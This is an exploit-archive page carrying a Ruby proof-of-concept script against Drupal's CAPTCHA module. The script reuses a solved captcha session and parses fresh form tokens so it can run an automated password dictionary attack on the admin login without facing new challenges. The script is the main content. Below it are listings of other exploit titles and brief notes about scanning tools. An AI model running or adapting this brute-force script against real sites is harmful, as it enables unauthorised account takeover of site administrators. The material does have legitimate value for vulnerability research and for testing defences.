Menu

Search for hundreds of thousands of exploits

"Drupal Module CAPTCHA - Security Bypass"

Author

Exploit author

anonymous

Platform

Exploit platform

php

Release date

Exploit published date

2011-02-11

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
source: https://www.securityfocus.com/bid/46344/info

The CAPTCHA module for Drupal is prone to a security-bypass vulnerability that occurs in the CAPTCHA authentication routine.

Successful exploits may allow attackers to bypass the CAPTCHA-based authentication routine, allowing attackers to perform brute-force attacks. 

# Drupal Captcha bruteforcing bypass

# This is a Proof Of Concept to demonstrate a logic security flow
# in the way drupal captcha is used to protect login forms
# from bruteforce. If the captcha challenge is solved, the next
# login attempts can be issued without solving any new captcha challenge.

# Usage: change URL, PATH, USERAGENT as you need.
# Change cookie, captcha_sid, captcha_token, form_build_id with the values
# you got in the html response AFTER the captcha is solved. This is needed
# in order to issue the first request as valid.
# Unique tokens will be then updated automatically .


# author: Michele "antisnatchor" Orru'

require "net/http"
require "net/https"
require "erb"
require "singleton"
require "rubygems"
require "nokogiri"


URL = 'antisnatchor.com'
PATH = '/user'
USERAGENT = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13'

# easy to enhance this reading list from a file, but this is just a PoC
USERNAME_LIST = ['admin']
PASSWD_LIST = ['test1', 'test2', 'test3', 'guessme']

# these are the session values needed to create valid http requests, after
# the reCaptcha has been solved the first time, leaving the login form
# without a new captcha challenge
cookie = "SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;"
captcha_sid = "476"
form_id = "user_login"


# these anti-XSRF tokens will change for every http response,
# so nokogiri is used to parse the html response in order to create
# the next http request with the valid anti-xsrf/captcha tokens.
# These initial values will be changed accordingly and automatically
# for each request .

captcha_token = "d853d6df05f6c6a956a46f20c8fe20aa"
form_build_id = "form-43fb0bcbcb140066a782a3fc23ab1ab7"

authenticated = false;


    @http = Net::HTTP.new(URL, 80)
    @http.use_ssl = false

     puts "+Initial xsrf token [" + form_build_id + "]"
     puts "+Initial captcha token [" + captcha_token + "]"
     puts "+Dictionary attack with [" + PASSWD_LIST.size.to_s + "] passwords"
     # I'm learning ruby :-)
     passwd_counter = 0

     while !authenticated && passwd_counter < PASSWD_LIST.size do
       puts "+Testing password [" + PASSWD_LIST[passwd_counter] + "]"

       post_data = "name=" + USERNAME_LIST[0] + "&pass=" + PASSWD_LIST[passwd_counter] + "&form_build_id=" + form_build_id +
                   "&form_id=" + form_id + "&captcha_sid="+ captcha_sid +
                   "&captcha_token=" + captcha_token + "&op=Log+in"
      @headers = {
        'Cookie' => cookie,
        'Referer' => 'http://' + URL + PATH,
        'Content-Type' => 'application/x-www-form-urlencoded',
        'User-Agent' => USERAGENT
      }

      puts "+Request headers = " + @headers.inspect

      resp, data = @http.post2(PATH, post_data, @headers)

      # loads the response in nokogiri to parse anti-XSRF tokens
      doc = Nokogiri::HTML(data)
      puts '+Code = ' + resp.code
      puts '+Message = ' + resp.message


      # "debug" code
      #puts "=================================================== raw response START ======================================================="
      #puts data
      #puts "=================================================== raw response END ======================================================="

      if data.index("CAPTCHA session reuse attack detected") != nil
        puts "Doh', we've been detected by Drupal...quitting now"
        break
      end

      if data.index("Sorry, unrecognized username or password") == nil && resp.code == "302"
        # if credentials will be valid, there will be a 302 response with
        # a new location header, corresponding to the user home page (http://antisnatchor.com/user/1 for instance)
        authenticated = true
      else
        #parse the anti-xsrf and captcha tokens from the response
        doc.css('input[id^=form]').each do |form_build_id|
          form_build_id = form_build_id['id']
          puts "+New xsrf token [" + form_build_id + "]"
        end

        doc.css('input[id^=edit-captcha-token]').each do |captcha_token_id|
          captcha_token = captcha_token_id['value']
          puts "+New captcha token [" + captcha_token + "]"
        end

        # I'm still learning ruby :-)
        passwd_counter = passwd_counter + 1;

      end
      break if authenticated == true
     end

if authenticated
  puts "+Succesfully authenticated user[" + USERNAME_LIST[0] + "] with password [" + PASSWD_LIST[passwd_counter] + "]"
else
  puts "+No passwords are valid for user [" + USERNAME_LIST[0] + "]. Dictionary attack failed."
end
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-11-02 "ClamAV < 0.102.0 - 'bytecode_vm' Code Execution" local linux anonymous
2019-09-23 "vBulletin 5.0 < 5.5.4 - Unauthenticated Remote Code Execution" webapps php anonymous
2018-03-05 "Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (1)" dos linux anonymous
2017-12-25 "Huawei Router HG532 - Arbitrary Command Execution" webapps hardware anonymous
2017-12-15 "Linux kernel < 4.10.15 - Race Condition Privilege Escalation" local linux anonymous
2017-12-11 "Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation" local linux anonymous
2017-12-11 "Linux Kernel - 'mincore()' Heap Page Disclosure (PoC)" dos linux anonymous
2017-12-11 "Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2)" dos linux anonymous
2015-04-13 "ProFTPd 1.3.5 - File Copy" remote linux anonymous
2014-11-24 "Microsoft Windows 8.1/ Server 2012 - 'Win32k.sys' Local Privilege Escalation (MS14-058)" local windows anonymous
2014-03-04 "WordPress Plugin Relevanssi - 'category_name' SQL Injection" webapps php anonymous
2014-01-01 "Apache Libcloud Digital Ocean API - Local Information Disclosure" local linux anonymous
2013-09-23 "Blue Coat ProxySG 5.x and Security Gateway OS - Denial of Service" dos linux anonymous
2013-09-07 "WordPress Plugin Event Easy Calendar - Multiple Cross-Site Request Forgery Vulnerabilities" webapps php anonymous
2013-05-07 "MyBB Game Section Plugin - 'games.php' Multiple Cross-Site Scripting Vulnerabilities" webapps php anonymous
2013-04-24 "WordPress Plugin WP Super Cache - PHP Remote Code Execution" webapps php anonymous
2013-04-15 "Linux Kernel 3.2.1 - Tracing Multiple Local Denial of Service Vulnerabilities" dos linux anonymous
2013-04-05 "Apache Subversion 1.6.x - 'mod_dav_svn/lock.c' Remote Denial of Service" dos linux anonymous
2013-04-04 "Google Chrome - Cookie Verification Denial of Service" dos multiple anonymous
2013-04-04 "Mozilla Firefox - Cookie Verification Denial of Service" dos multiple anonymous
2013-04-03 "C2 WebResource - 'File' Cross-Site Scripting" webapps asp anonymous
2013-01-21 "GNU Coreutils 'sort' Text Utility - Local Buffer Overflow" local linux anonymous
2013-01-21 "F5 Networks BIG-IP - XML External Entity Injection" remote hardware anonymous
2012-11-09 "ESRI ArcGIS for Server - 'where' SQL Injection" webapps multiple anonymous
2012-08-27 "IBM Rational ClearQuest 8.0 - Multiple Vulnerabilities" webapps php anonymous
2012-08-02 "Nvidia Linux Driver - Local Privilege Escalation" local linux anonymous
2012-08-02 "Mahara 1.4.1 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities" webapps php anonymous
2012-06-17 "MediaWiki 1.x - 'uselang' Cross-Site Scripting" webapps php anonymous
2012-06-13 "SPIP 2.x - Multiple Cross-Site Scripting Vulnerabilities" webapps php anonymous
2012-05-17 "Atlassian Tempo 6.4.3 / JIRA 5.0.0 / Gliffy 3.7.0 - XML Parsing Denial of Service" dos jsp anonymous
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.